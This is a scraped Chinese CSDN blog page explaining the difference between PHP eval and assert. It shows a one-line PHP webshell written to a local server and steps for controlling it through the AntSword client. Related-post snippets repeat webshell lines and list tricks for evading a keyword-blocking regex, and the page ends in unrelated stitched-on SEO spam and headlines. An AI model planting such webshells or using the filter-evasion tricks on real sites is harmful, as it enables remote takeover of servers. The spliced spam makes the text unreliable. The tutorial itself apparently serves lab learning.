eval与assert区别

18 篇文章 0 订阅
订阅专栏
文章讨论了PHP中的eval和assert函数的区别,eval作为一个语言构造器更严格,常用于执行代码字符串,而assert作为可变函数主要用于断言检查。文章还提到了它们在创建一句话木马中的潜在作用,强调了安全问题。
摘要由CSDN通过智能技术生成


一、eval和assert的区别

1. eval定义和用法
  • eval会把字符串当作PHP代码来执行
  • eval语法非常严格,所有的要执行的php字符串都必须完整,且以分号结尾
  • 如果字符串中带有return,会立刻终止执行并返回NULL
  • 如果代码中存在解析错误,则 eval() 函数返回 false
2. assert的定义与用法
  • assert会把字符串当作PHP代码来执行

  • assert被认定为一个可变函数

    <?php
        $a = 'assert';
    	$a('phpinfo()');
    ?>
       # 这就是可变函数
    
3. eval与assert的不同点
  • eval 是一个语言构造器 (PHP关键字符),不能够使用像可变函数那样被调用,而assert可以那样被调用
  • eval规范更加严格一些(字符串必须以分号结尾),必须符合PHP代码要求,assert则没有那么严格,执行PHP表达式即可

二、eval和assert在一句话木马的作用

假如我上传的木马文件代码如下所示:

<? $_POST['1']($_POST['2']); ?>
    # $_POST['1']要传递为一个可变函数
    # $_POST['2']是要执行的字符串

$_POST['1']可以上传assert,$_POST[‘2’]可以上传assert和eval

我的服务器地址是192.168.93.134(本地服务器),所以我在根目录下面创建了muma.php文件,文件中的内容如下所示:

<? $_POST['1']($_POST['2']); ?>

类容是一句话木马,连接密码是2.

  1. 右键点击添加数据

  1. url填写http://192.168.93.134/muma.php,连接密码填写1

在这里插入图片描述

在这里插入图片描述

如上所示,点击测试连接,可以查看是否能够连接成功,点击添加就可以进行文件操作下:

evalassert一句话木马分析
weixin_49472648的博客
07-23 2719
利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑等webshell工具即可获取和控制整个网站目录。 一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。............
evalassert
weixin_45492087的博客
07-25 956
在2中提交evaleval可以包含字符串,assert只能包含函数。
简述 asserteval区别
thj_blog
11-09 3383
       首先和大家说明,我所理解的也是在网上查询资料,总结下来的。我尽可能说的通俗易懂一些,看网上的资料,发现很多高大上的东西,我对PHP理解很浅,望大家批评指正。(我所理解的对于初学者够用了)        相同点:二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。并不是对assert无计可施,可以采...
浅谈evalassert一句话木马执行区别
m0_46467017的博客
07-23 1635
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的木马的函数执行了我们发送的命令。
从底层分析evalassert区别
dengzhasong7076的博客
08-12 468
经常会遇上这么一个问题 <?php $_POST['1']($_POST['2']); 在菜刀中一般是1=assert&2做为密码连接,或者1=system&2=whoami来执行命令。 <?php eval($_POST['2']); 看看熟悉的一句话,这个时候就会想,为啥不能这样1=eval&2连接。 $_POST['1']()这是一个可变函数,...
一句话后门中evalassert区别
whatday的专栏
03-01 1万+
eval函数中参数是字符,如: eval('echo 1;'); assert函数中参数为表达式 (或者为函数),如: assert(phpinfo()) assert(eval('echo 1;')); 直接传递普通代码是无法执行的,如:assert('echo 1;'); 下面这个代码执行不了: @array_map("eval",arra
php5和php7中evalassert
L1ni01
12-04 2217
eval php官方手册: (PHP 4, PHP 5, PHP 7) eval — 把字符串作为PHP代码执行 该函数只有一个参数,即需要被执行的字符串代码。 代码不能包含打开/关闭PHP标签,但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。 我们下面进行测试 <?php eval(' echo "Hi!"; '); echo "\n"; //eval('echo `whoami`;'); eval('<?php echo "Hi!";?>'); echo "\n"; e
通过蚁剑,利用evalassert,登录目标网站
weixin_52159400的博客
07-29 384
eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval()函数返回false。pythoneval()函数的描述与用法eval()函数计算或执行参数。如果参数是表达式,则eval()计算表达式。如果参数是一个或多个JavaScript语句,则eval()执行这些语句。...
php assert eval,代码执行函数之一句话木马
weixin_28864249的博客
03-23 2092
前言大家好,我是阿里斯,一名IT行业小白。非常抱歉,昨天的内容出现瑕疵比较多,今天重新整理后再次发出,修改并添加了细节,另增加了常见的命令执行函数如果哪里不足,还请各位表哥指出。evalassert区别eval特点eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)eval()是一个语言构造器,不能被可变函数调用eval($_REQUEST[1]); #eval一句话...
php system eval,PHP后门的eval类和system类 函数到底有哪些区别
weixin_31960145的博客
04-12 938
一、一直以来对PHPeval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。二、PHPeval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)1、简单类//#1-evaleval($_POST["cmd"])?>//post:cmd=phpinfo();//#2-as...
PHP evalassert
qq_40481505的博客
09-17 407
eval():函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如eval(“echo 1;”) assert():功能是判断一个表达式是否成立,返回true or false,重点是函数会执行此表达式。如果表达式为函数如assert(“echo(1)”),则会输出1,而如果 为assert(“echo 1;”)则不会有输出。 ...
【WEB】从底层分析evalassert区别
HAPPY
08-19 424
https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html
assert()和eval()
an4455的博客
05-15 263
assert():  assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;例如 <?php $s = 123; assert("is_int($s)"); ?>   从这个例子可以看到字符串参数会被执行,这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的$code_str。asse...
PHP注入01】PHP语言常见可注入函数(evalassert、preg_replace、call_user_func、$a($b)等)
Fighting_hawk的博客
02-26 4275
1. 掌握PHP语言种几种可能存在注入的函数; 2. 结合SQL注入与XSS漏洞思考PHP注入绕过手法。
phpeval
Lyj的博客
09-11 1078
 eval("\$str = $num1 $operate $num2;"); 注:1. eval()中必须使用双引号        2. 函数中必须加英文状态下的分号   &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset='utf-8'&gt; &lt;title&gt; &lt;..
python语法知识点总结以及asserteval的成功与失败
qq_31088019的博客
07-23 723
python语法知识点以及asserteval通过中国蚁剑登录
Python基础知识点梳理
热门推荐
m0_46245938的博客
02-04 4万+
python常见知识点梳理 摘要: 本文主要介绍一些平时经常会用到的python基础知识点,用于加深印象。python的详细语法介绍可以查看官方编程手册,也有一些在线网站对python语法进行了比较全面的介绍,比如菜鸟教程: python3 教程|菜鸟教程 本文主要是介绍基础语法,操作实例在另一篇博客中单独介绍: python语言介绍 python是一门解释型语言,python的设计目标: 一门...
PHP代码审计----3、代码注入
七天
07-08 679
文章目录代码注入1、eval()函数2、preg_replace+/e()函数3、assert()4、call_user_func()5、call_user_func_array()6、create_function() 代码注入 PHP 可能出现代码注入的函数:eval()、preg_replace+/e()、assert()、call_user_func()、call_user_func_array()、create_function()等 查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控
PHP常见代码执行后门函数(例如evalassert
美奇软件开发工作室
04-23 5954
什么是代码执行: 应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。 常见php代码执行函数介绍 常用执行代码函数 1、eval(): <?php @eval($_POST['hacker']); ?> eval函数将接受的字符串当做代码执行 2、 assert(): 用法和 eval()...
if(preg_match(‘/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i’,$str1) 怎么绕过
最新发布
05-13
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`|\s|\.\s|include|require|flag/i', $str1))是一段PHP代码,用于检测字符串$str1中是否包含一些关键字,如果包含,则不执行一些敏感的操作。这是一种常见的安全措施,防止恶意代码执行。 如果你想绕过这段代码的检测,可以尝试以下方法: 1. 使用大小写混合、拼音、全角字符等方式来绕过关键字的检测。 2. 将字符串进行Base64编码,在传递到该代码段之前进行解码,绕过关键字的检测。 3. 使用正则表达式技巧,将关键字进行分割或者替换,使其无法被正则表达式匹配到。 4. 对于特定的关键字,可以将其拆分成多个字符,如把'exec'拆分成'e'、'x'、'e'、'c',然后将它们分别插入到其他字符中间,如将'a'替换成'aexece'。 5. 使用其他语言或者工具来执行敏感操作,如使用Python中的os.system()函数执行命令。
写文章

热门文章

  • VMware Workstation Player 17 下载安装教程 19988
  • RSA加密算法Python实现 17092
  • 中国蚁剑安装使用教程 16370
  • windows server 2012安装教程 12197
  • 爬虫之urllib库的使用 9401

分类专栏

  • 漏洞复现 付费 6篇
  • 安全杂项 26篇
  • python开发 16篇
  • 虚拟机&靶场 5篇
  • Linux 8篇
  • 渗透工具安装使用 4篇
  • CTF 17篇
  • PHP 18篇
  • 密码学 2篇
  • Vue 9篇

最新评论

  • VMware Workstation Player 17 下载安装教程

    三年之约-第一年: 密钥网上搜索一大堆的

  • VMware Workstation Player 17 下载安装教程

    kanm7: 好像没有免费版的了

  • VMware Workstation Player 17 下载安装教程

    我不是小白啊: 官网的下载地址没了

  • VMware Workstation Player 17 下载安装教程

    M_小马同学: 有密钥吗表情包

  • windows server 2012安装教程

    三年之约-第一年: 肯定有的,win10都是自带这个东西的,搜索框搜索一下就出来了

大家在看

  • Linux(4)——重定向、管道及tee命令 125
  • linux—基础命令及相关知识
  • 卷积编码器通过打孔(Puncturing)来修改码率

最新文章

  • 【蓝队技能】【Suricata规则开发】C2&Webshell&隧道
  • 【蓝队技能】【内网隧道工具流量分析】FRP&NPS&reGeorg&Venom
  • 【蓝队技能】【C2流量分析】MSF&CS&Sliver
2024年4篇
2023年80篇
2022年85篇

目录

目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

三年之约-第一年

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或 充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

玻璃钢生产厂家河南户外玻璃钢花箱花盆景观商场美陈广东大型商场美陈销售企业太原玻璃钢雕塑漆邳州商场秋季美陈丹阳玻璃钢雕塑厂家报价中国园林玻璃钢雕塑阿凡达玻璃钢仿真雕塑知名玻璃钢雕塑厂家供应桐柏玻璃钢雕塑安徽景观玻璃钢雕塑加工南京特色商场美陈亳州人物玻璃钢雕塑生产厂陕西玻璃钢雕塑定做厂家鹤壁抽象玻璃钢景观雕塑郑州标牌玻璃钢彩绘雕塑价格临汾玻璃钢花盆贵州景区玻璃钢雕塑哪家便宜淮北户外玻璃钢雕塑静安区拉丝玻璃钢雕塑仪征玻璃钢雕塑城市几何玻璃钢雕塑公司玻璃钢 艺术家 雕塑小品玻璃钢人物雕塑手工制作驻马店玻璃钢雕塑淮南景区玻璃钢雕塑批发西安欧式玻璃钢雕塑定做价格开封玻璃钢雕塑摆件苏州乐山玻璃钢造型雕塑玻璃钢景观蘑菇雕塑香港通过《维护国家安全条例》两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”19岁小伙救下5人后溺亡 多方发声单亲妈妈陷入热恋 14岁儿子报警汪小菲曝离婚始末遭遇山火的松茸之乡雅江山火三名扑火人员牺牲系谣言何赛飞追着代拍打萧美琴窜访捷克 外交部回应卫健委通报少年有偿捐血浆16次猝死手机成瘾是影响睡眠质量重要因素高校汽车撞人致3死16伤 司机系学生315晚会后胖东来又人满为患了小米汽车超级工厂正式揭幕中国拥有亿元资产的家庭达13.3万户周杰伦一审败诉网易男孩8年未见母亲被告知被遗忘许家印被限制高消费饲养员用铁锨驱打大熊猫被辞退男子被猫抓伤后确诊“猫抓病”特朗普无法缴纳4.54亿美元罚金倪萍分享减重40斤方法联合利华开始重组张家界的山上“长”满了韩国人?张立群任西安交通大学校长杨倩无缘巴黎奥运“重生之我在北大当嫡校长”黑马情侣提车了专访95后高颜值猪保姆考生莫言也上北大硕士复试名单了网友洛杉矶偶遇贾玲专家建议不必谈骨泥色变沉迷短剧的人就像掉进了杀猪盘奥巴马现身唐宁街 黑色着装引猜测七年后宇文玥被薅头发捞上岸事业单位女子向同事水杯投不明物质凯特王妃现身!外出购物视频曝光河南驻马店通报西平中学跳楼事件王树国卸任西安交大校长 师生送别恒大被罚41.75亿到底怎么缴男子被流浪猫绊倒 投喂者赔24万房客欠租失踪 房东直发愁西双版纳热带植物园回应蜉蝣大爆发钱人豪晒法院裁定实锤抄袭外国人感慨凌晨的中国很安全胖东来员工每周单休无小长假白宫:哈马斯三号人物被杀测试车高速逃费 小米:已补缴老人退休金被冒领16年 金额超20万

玻璃钢生产厂家 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化